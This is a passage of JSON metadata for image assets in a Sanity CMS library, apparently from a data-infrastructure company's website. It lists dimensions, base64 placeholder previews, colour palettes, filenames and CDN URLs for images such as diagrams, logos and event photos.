(5).png","path":"images/sczeoy4w/production/34585453f97d827758ec195bf9a7d017c6697a95-900x300.png","sha1hash":"34585453f97d827758ec195bf9a7d017c6697a95","size":26779,"uploadId":"m7Gg04jQ05ewO2cr9CIEiADd2jnziAfK","url":"https://cdn.sanity.io/images/sczeoy4w/production/34585453f97d827758ec195bf9a7d017c6697a95-900x300.png"} {"_createdAt":"2022-10-03T10:31:28Z","_id":"image-347106a896f09c702a523974fbe4e92e70e01c9a-1280x720-jpg","_rev":"XMqVxILwpPMz4xYxcCh97x","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:31:28Z","assetId":"347106a896f09c702a523974fbe4e92e70e01c9a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMCBAj/xAAdEAACAgIDAQAAAAAAAAAAAAAAAQIRAyESMVFx/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/ANL44KLvnkXwswprcpDMcU09InS8AXBxrtsBlLwAP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#666468","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a0a44","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbbbb","foreground":"#000","population":2.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbbbb","foreground":"#000","population":2.54,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdbec","foreground":"#000","population":0.34,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c6c74","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb1382","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Cassandra-control.jpg","path":"images/sczeoy4w/production/347106a896f09c702a523974fbe4e92e70e01c9a-1280x720.jpg","sha1hash":"347106a896f09c702a523974fbe4e92e70e01c9a","size":56338,"uploadId":"Q8gxllNsZ57MpHU1qHzevXUt0s6aCaXc","url":"https://cdn.sanity.io/images/sczeoy4w/production/347106a896f09c702a523974fbe4e92e70e01c9a-1280x720.jpg"} {"_createdAt":"2022-09-30T07:50:10Z","_id":"image-34d451c6ad4584541d577f378ebe34ff3775de21-2625x1500-png","_rev":"8WeirZ6KB9gJqgJfveJkKJ","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T07:50:10Z","assetId":"34d451c6ad4584541d577f378ebe34ff3775de21","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.75,"height":1500,"width":2625},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADXklEQVQokT2PfUwbdRyHD2HEl5GoUWNc9A9izOI06qKD9NSwZEbJIombXAdiFnt3HaMyoK5QwsremNCpvKX+UBZGujBGe72rjMkmDqOOIbRXCe3pMrNBsmy8DDveisK9fL+GGv3jyee/J8+HcporUqgnfKnXT+Q+CoT+ANtMPwOhE0BMs9hGnzbI69vwbGbquxZlg5mXd5g5uY/h5BWGC//ttF+M/t5+6AoKlinws7fBz35LFeS6qFe2fZE237T9BSA0wTbTXSC0AW20CsSkGJ7sA9jy9GP5H41kmHl5n5mXr+VzMhbwIa2hWoxPdFTNoWBZAz+7Cn52jno+py/FuutI+lJLTo5B6AEgtA6ERiAmxNatCWjIvIC19+/+oTwvs9Aa4s28rDCcrBdZRxbJ4a470177EgoWBD+bhFpFpLZvLU5dbHrjVYOYzgExLa8LDU8WGu5nDeNQRhyqUoTlgw/uYNlLr73PRup2W+T+Iutwt+T2dCW6999EwQLgZ5NQhezQA7kFVx9vP1j/8vWTe2pnm3YqC61vLaw2Z89oxzfF1ap0XatKu2Yce7Lkjy735tbGIfpw7RWm5dOL7905W+MEgf8tWSiwgAILlJmXdzGcXF7Ijxx1lPae+srZGuo/Wn31Vv3bpzTXwwNqZVpCdT0yZ3TmSSifPmbEgq6/IuKRlVBPnT5Y7wOpZPq/uuRlhov8wnCRiXwuMsVw8syH1uGZffsHu3sqypi1yvQm1ZEaV+ue0Y2g7R6OdU+DIk3pUXFKHROm1SEyr/V+omo+DnUfq4OfTawX3txbEo4Xl4/qNvso2uwj89aycDMpO569Vv2QU6vJuKU3voRwqQZx3IegSGhERdTHRdTCXtS+P6FpYumfag83pvtYH1VUHHY0un8SAh2X7/Z5B/DCme9un/cOOBWPfQt89pwDPt88CR3vAPzoBowKAIoEEBMBYpIBUQEh3LmgD9ZLK76PueUuLoty1VzeNDHY67g3GpxYDAVxKSxNLsvfHNAEfgt+mVWHX785i/69iMMegFggKcSYCLi+ioQYC0zqv55z3Ag0P2XLq0ijzrd7N66NBWwQE2+gIiLGxElUgqUQYF8EYmqAzp0z0F9pQOSMsS74t+5/dFSksDYu7env7NlIbTh53z+CZDpJDD4C4wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b3158","foreground":"#fff","population":0.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90430b","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7790c","foreground":"#fff","population":7.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c39b99","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd484","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a9856a","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7790c","foreground":"#fff","population":7.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bg-pattern-pop-indigo-orange.png","path":"images/sczeoy4w/production/34d451c6ad4584541d577f378ebe34ff3775de21-2625x1500.png","sha1hash":"34d451c6ad4584541d577f378ebe34ff3775de21","size":34677,"uploadId":"ryO5iDK3lTj18H8ok2IdEotFluAiRFtG","url":"https://cdn.sanity.io/images/sczeoy4w/production/34d451c6ad4584541d577f378ebe34ff3775de21-2625x1500.png"} {"_createdAt":"2024-03-22T13:37:45Z","_id":"image-34e498036927d12c04389323cfc2298d9e1e7d93-195x65-png","_rev":"80Znsvx5FiXC5oBvpW9gO6","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T13:37:45Z","assetId":"34e498036927d12c04389323cfc2298d9e1e7d93","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DCR3TaIw?vs:~o%MWEoMo1xa","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3,"height":65,"width":195},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABZ0lEQVQokZ2RXUsbQRSG/d9ettVelApFe6VFg1BvCkHc2BgxYhK/Ytrq+lFZrK2GmIgp6e7Mzk52Zp6SidRre+A9MHPmPPDOO+GcAxzWWpTOSXWOsZb/KeccE6Nmhob+fUx4fkfrssftb0Gqh6SpIkkkQkikTEmFQiYKIVJ/lySCOBZ+lufmCTjoCw5qVywXmix+/MJ264boV4/dvWOCYMerXGqwXzmhWTmjEuxTLFZZC3bYqOxx1DpjMIi9Uw9sd2M+lS6YeVdjfq5BbSvi5PgHS4U1pqYWePlqnukXH1ieCSi+rzL7eoXJyTnevC2wuLTqoQ/9gbftgb1YsRV2WCldsPn5kp/f7+l1+hw2TymXd702Nw5oVk8J6xGN6jfW1xvU618Jw4jr6zZKZU9AbSzdRBHd/eG2GyOlxhhDlmmkVP4vRwtZqtFqSKb0+Jxp8jz3b8fhPgJHss4xNJbc2n/D5yU8Tvkv3u4CJPWJmYYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343c54","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#18194d","foreground":"#fff","population":0.95,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b79dc7","foreground":"#000","population":2.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b79dc7","foreground":"#000","population":2.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#97c0e5","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#704986","foreground":"#fff","population":2.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#549cbc","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"knowyyy_logo2.png","path":"images/sczeoy4w/production/34e498036927d12c04389323cfc2298d9e1e7d93-195x65.png","sha1hash":"34e498036927d12c04389323cfc2298d9e1e7d93","size":14094,"uploadId":"ODmRgUkOFPSiMUztsKHTk40QX8P5ZsEr","url":"https://cdn.sanity.io/images/sczeoy4w/production/34e498036927d12c04389323cfc2298d9e1e7d93-195x65.png"} {"_createdAt":"2022-09-07T20:04:14Z","_id":"image-355f3194da5b7f0999e3f702536dbcd0ac18b190-562x306-png","_rev":"CK1sLU2mnwa3vmbYWB0B9a","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T20:04:14Z","assetId":"355f3194da5b7f0999e3f702536dbcd0ac18b190","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBCZL~-n000f_35GET^#}jDi0jNc^d$gSO","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8366013071895424,"height":306,"width":562},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAClElEQVQokVWTW0iTYRiAP61E0w50usigkoj+LQ+bU+cpUSuNUotE8Zi67Z9Ol7pNc2iJYgejlBKTMiJKLaQosoSESrpIEoKUCAsKLwLvogsvgvR/4p8r58XPz/fB+/A8L3xCSJZ5IVkWhEZGaGRFSBbFT2slyOBgU0orG5PPEmhw4hflwk/vJii2iXXGJgKiXYj9NQiNVfHOLgpJ/i08MMmi+AJXR1SzK7uLdNdL0h2jhGV3ERDtJDRO5kROMYWltehyWgg21PkC1f+i8B7+XSAkC4HR9URXPMDcN0tFzxcii/rZbKwlI+Mk3XI6vedslNeeZ0dqA0JrXZ5VP4/dSkNC4lwkVg0j933D3P2Bw+WXOZJvx24qocV0lM7WRmzubnamn0Foq3wNFbGCrpHx11rZmVZPWUM3nf1P6Oq9w40OO0PX3XS2uSnIy8Vmd5FXc4UtSY0IjU3N/j/vk2xBSDIbDJXknrIydN3Gq6Fm3txrYPqBjenRa1y52E7moTSyj2Vz4EQd62MdiP12hLZyBVARGjV5CRiaUEG7K4uZ+ylMDeYzfvc0n190MDX+kI7WZg7GR5Eap0eXUkxITD0ivE7N9gF69vcfqGw3lnLBkczc4G7mhhOZfNzMp4kR3r19jdPlJtmYgDEulb1JJtYaXIiIekVo1ezlHS7lqlBJZp2unJLiTCZ69vHzWSo/Jm8z+/0rT8fek2W+wJ74EvYkmNhmrGONXgV6shWh8WYLyfLHa+kx9NdalLCkIqpNGQxcLWTs+QCTH2e4+WgCfcE1gmMbCIlxskbvxC/SsWQY7tmjarigAn95oMuWyiqtma2xZURmmDkud3Dp1ghtfaNIxzsRKiSqEaFzI3Rn1LPifTHqa5v/C3a1pYab0aWgAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3860","foreground":"#fff","population":0.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":46.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":46.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbd0b1","foreground":"#000","population":0.28,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#facc36","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b09a79","foreground":"#000","population":1.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8a613","foreground":"#000","population":5.57,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"highlight-idc-whitepaper.png","path":"images/sczeoy4w/production/355f3194da5b7f0999e3f702536dbcd0ac18b190-562x306.png","sha1hash":"355f3194da5b7f0999e3f702536dbcd0ac18b190","size":26058,"uploadId":"InUkjBy9QROxo81ROJBn5IubYW7avWjZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/355f3194da5b7f0999e3f702536dbcd0ac18b190-562x306.png"} {"_createdAt":"2022-09-16T12:19:34Z","_id":"image-35706c3eb2da88f2317599b1725ccff7d61b0ad0-1920x1080-jpg","_rev":"4pG2it9AJU1nJxbjoHfFDW","_type":"sanity.imageAsset","_updatedAt":"2022-09-16T12:19:34Z","assetId":"35706c3eb2da88f2317599b1725ccff7d61b0ad0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7Ss1]Vs~p?HQ--;MxVYs:ozxYadM{nis.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAEDBAj/xAAcEAACAwADAQAAAAAAAAAAAAABAgADEQQhMXH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AOm7aQFQix1UA9A+xcWxH0Kz6DnZmx1B9EnXTWjMVQAk6YVbPkI4Qj//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#376876","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#941c3c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f29cad","foreground":"#000","population":0.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cca6b1","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f29cad","foreground":"#000","population":0.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a5e7e","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f62e58","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"video-thumbnail-flink-connections.jpeg","path":"images/sczeoy4w/production/35706c3eb2da88f2317599b1725ccff7d61b0ad0-1920x1080.jpg","sha1hash":"35706c3eb2da88f2317599b1725ccff7d61b0ad0","size":69315,"uploadId":"hRruaKGbfL4pRqDlIJoqXYvSbRGXWxx4","url":"https://cdn.sanity.io/images/sczeoy4w/production/35706c3eb2da88f2317599b1725ccff7d61b0ad0-1920x1080.jpg"} {"_createdAt":"2022-06-30T19:59:02Z","_id":"image-3572020f897deb1f15e8b5dea201154666f7af74-1361x694-png","_rev":"QRl2cGoCgj0FlAhkRrhvAR","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:10Z","assetId":"3572020f897deb1f15e8b5dea201154666f7af74","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MESPLox[.lR6Q.-Vozx]enM|?[RkH@tQo}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9610951008645534,"height":694,"width":1361},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABt0lEQVQokU2Ru24UMRSG54lpeAWoUtDxCihdJAqEgAIhUSBtIpEACWEjbfY6l53x2GP73Ad5Q4F05OLot377+yrsOlc3bvCALGJmpmbCggFwSBxJgSV4GhwlQBRAQRRmVbWKY0phijEDCFFZmRkm7B/a449d3DoaI3UtbLbYDxQzIhOJiJrNlaqKKLMSlVPVZjMG6h/77WK1+7psL1d+uY+PO9wfePSEJPLUcbqs5amziDEJZ1BETnC83d+ff7s+e3999vH+zaJZPGDdac6n+Gw2z/NcMZdmFWNkGEOu69y72PnD51+3L95+f3Z+9fxi8fLD8t3PqfbChYqqlW61qvwBCBNCgNgOftv0dRja7O7rw8Xl8tWn36+//Lm4Xl1tukPwHlOilDBnIpIKE/jBNc3QH33op6FLTUvOCSTOtT/ebJubXbd2h53frP16HQ51HFyaYiFfpRD3+/ZuvX+saz9OIYgPkpIQKmTyYxrHHCMPA2w203oztR1MEwIU5lUIqe399ti34zHljKhPJomkgEslJ2IA6hyOngCV2URUxCpAAmRkJi76RIzon7b//dlJR7F7Qv00fwGbzjXds8hpDgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#562b4d","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ab0c60","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1a1ba","foreground":"#000","population":0.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6c3d4","foreground":"#000","population":0.62,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1a1ba","foreground":"#000","population":0.69,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad6592","foreground":"#fff","population":0.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf2b82","foreground":"#fff","population":0.4,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3572020f897deb1f15e8b5dea201154666f7af74-1361x694.png","path":"images/sczeoy4w/production/3572020f897deb1f15e8b5dea201154666f7af74-1361x694.png","sha1hash":"3572020f897deb1f15e8b5dea201154666f7af74","size":289737,"uploadId":"WtqftQxdgPZPe4ri3ZCWZNwBcaTXGtRz","url":"https://cdn.sanity.io/images/sczeoy4w/production/3572020f897deb1f15e8b5dea201154666f7af74-1361x694.png"} {"_createdAt":"2023-12-14T13:20:49Z","_id":"image-35721abefb9525e7c603d939d4f1734e1b20071b-7008x4672-jpg","_rev":"7oPGYyiRG7hm5kP9hVxvT4","_type":"sanity.imageAsset","_updatedAt":"2023-12-14T13:20:49Z","assetId":"35721abefb9525e7c603d939d4f1734e1b20071b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4672,"width":7008},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYEBQf/xAAhEAABAwUAAgMAAAAAAAAAAAACAQMEAAUGESEHQRJRYf/EABUBAQEAAAAAAAAAAAAAAAAAAAID/8QAGxEBAAMAAwEAAAAAAAAAAAAAAgABAxIxUUH/2gAMAwEAAhEDEQA/AGLxlZoDeBQSVtpo3I2zL49VaVs9vUPHYpAjQPOG3sBNOLvlZlaPK9/t1tYgspHVhoEAUUO6SqrMcqmZIDRSgbbIfYe6eYeWaK+3K67lo2b6qS7VjEW5RVlukAk6SlretflFJ4SnmxQRdNET6KijxXshSPk//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#483330","foreground":"#fff","population":3.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c192d","foreground":"#fff","population":6.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ecab8e","foreground":"#000","population":7.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aec0d4","foreground":"#000","population":1.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecab8e","foreground":"#000","population":7.79,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#927169","foreground":"#fff","population":3.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c45434","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven Live Jon Collins on stage.jpeg","path":"images/sczeoy4w/production/35721abefb9525e7c603d939d4f1734e1b20071b-7008x4672.jpg","sha1hash":"35721abefb9525e7c603d939d4f1734e1b20071b","size":3422090,"uploadId":"45Y7DrPpy1dcT5mhJyTAJ6mviQua8ILG","url":"https://cdn.sanity.io/images/sczeoy4w/production/35721abefb9525e7c603d939d4f1734e1b20071b-7008x4672.jpg"} {"_createdAt":"2024-03-08T07:44:50Z","_id":"image-35f512e01083d5c8360a18d1106fb93823ed2b70-3200x1794-png","_rev":"QYGdEGGMhf311CDlzqrlIk","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:44:50Z","assetId":"35f512e01083d5c8360a18d1106fb93823ed2b70","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCCiXaKgmP=|E0Tx}9NEs:wHIAkq-qRj$y","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7837235228539576,"height":1794,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADgUlEQVQokSXM7U8adwDA8R8PPiEPheOOoz5Ep8uWbK1Am4kVEOUO7jgOODzgkMPOWuQhG7paK1rnCGO6ga3FB3TMyhad61JHU2u3rs22uqTJsmSvluylWWb2dm/2B7gsffF983nxBR42KKB8IYWTCXU4Ge41kgm+Qnq5NifDdZAM9yrpDf7vneTL2klvsJX0BpsJj1+BkbTYNOAQmGwUAIYysDkZAP7IKoQbyXPSWJhUU8MphBhJa3B/FLFHrmnI4UnUHohqiMtTKMGnUJxLwMToHOwIp9S2yJTCcX27EY/mak1WXGAejIMLb3QC8E9BLD7OCKXV2S55prwLjZefaPiZW8qJUhVObRzCI/NF1XubB2hsaU8dza4pp7afIlcXP1fFP9mGpnaO4CuFexJdt1V4JXUNXHi9HYB/79QLf58GtQc5U+Ozwzy8U72LfFiYP1N9VEK+qFagfDGr2ntQRm9XNqHbW0V493BPm11fg+5sFTVfHX6JfrS6Imnp7BFmsuNA/5YRgNPTKOgx6AUL1z21v+zHpA+349LZSU76/U5ctl8ek7w/OyrbqBSgm6UKnP706+aP7z1qTRV3NQvrd1sOKpvN+5m0FDeYhS3JIAAd5wFIH/wJ9H1egYNyi28kKFEkgIkxLiYJzpUa2PFMHZXIyoZXf4BjpZ+06ZXHrZnKi/ZU8bum5fxO2/Plz9qOPsgqxkhKBAAAp0M+ADB3CPTjJOi1ucQGs1uk7yVqHMm8InDrRzWbq8qZmxUovPbibDz/ANmaW9LeX6o0FeZXkf2ZXNNvubz2m+m5xi4HLTz12cDPb54DwMu9LXKxvNhO++vsNCvFKJ+MHp1WhWY3tP6JRTU7vgBzM+tabiwNLV6NwyvvTqDpkSi0FEtqlhPvIMkAL7nRYxYdX7woPNHrhMATGD5D+yMqp29Ibqf9SpxmlQ5mSEGyl2HCF4YIH690+HjU7g5AHoaDvAyHejwB1aAvBDEMh8QJt/yo29hwotdJTvS6BuAORM7SLN9CDYYh3DUoHXAyDf2Ep95sc8otuEtqwalGk42ELBiluIRRMmyAUCf6MNWkZUAVt+LqRSsm/7XbKPnr5bAe0P6I1sXyzTTLQy6Wr3OxERHFRsQOL1dDMKEanPbXWgmvxEYy9X1Opi7eb5fd7+lVP+82ok+NlzTf9prlz0wW8bHBIPhb1yX4D72TGZc9ySzaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e495f","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#072a4f","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2e495f","foreground":"#fff","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8aa8cc","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ac3f0","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6991af","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c8cac","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-hnsw-ef-constr.png","path":"images/sczeoy4w/production/35f512e01083d5c8360a18d1106fb93823ed2b70-3200x1794.png","sha1hash":"35f512e01083d5c8360a18d1106fb93823ed2b70","size":271813,"uploadId":"Yw2mu4mOR8PSi3E1mKVFFSzcCs99o3A9","url":"https://cdn.sanity.io/images/sczeoy4w/production/35f512e01083d5c8360a18d1106fb93823ed2b70-3200x1794.png"} {"_createdAt":"2024-02-27T12:32:39Z","_id":"image-35f5c5fa11e0f3bb2244c217f2763be92d319c52-1784x1207-jpg","_rev":"w5AXxS2dRCMjAjCd4XMkcU","_type":"sanity.imageAsset","_updatedAt":"2024-02-27T12:32:39Z","assetId":"35f5c5fa11e0f3bb2244c217f2763be92d319c52","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V4S?DWxu8|-;D%?bV[V@M{RPWBV@RPofoe~qs:RjjYoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4780447390223694,"height":1207,"width":1784},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAOABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIDCP/EABoQAAMBAQEBAAAAAAAAAAAAAAACEQEhAwT/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/ANQ/OsWScKL23RfPSizVsARc4ALIAR//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#646c68","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#721118","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8c8a8d","foreground":"#fff","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4dc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa9ca4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c8a8d","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea7880","foreground":"#000","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"dragonfly-enjoy.jpg","path":"images/sczeoy4w/production/35f5c5fa11e0f3bb2244c217f2763be92d319c52-1784x1207.jpg","sha1hash":"35f5c5fa11e0f3bb2244c217f2763be92d319c52","size":153203,"uploadId":"okh1ASQRFPB2kddUBmvJHF2A7MJAgj9j","url":"https://cdn.s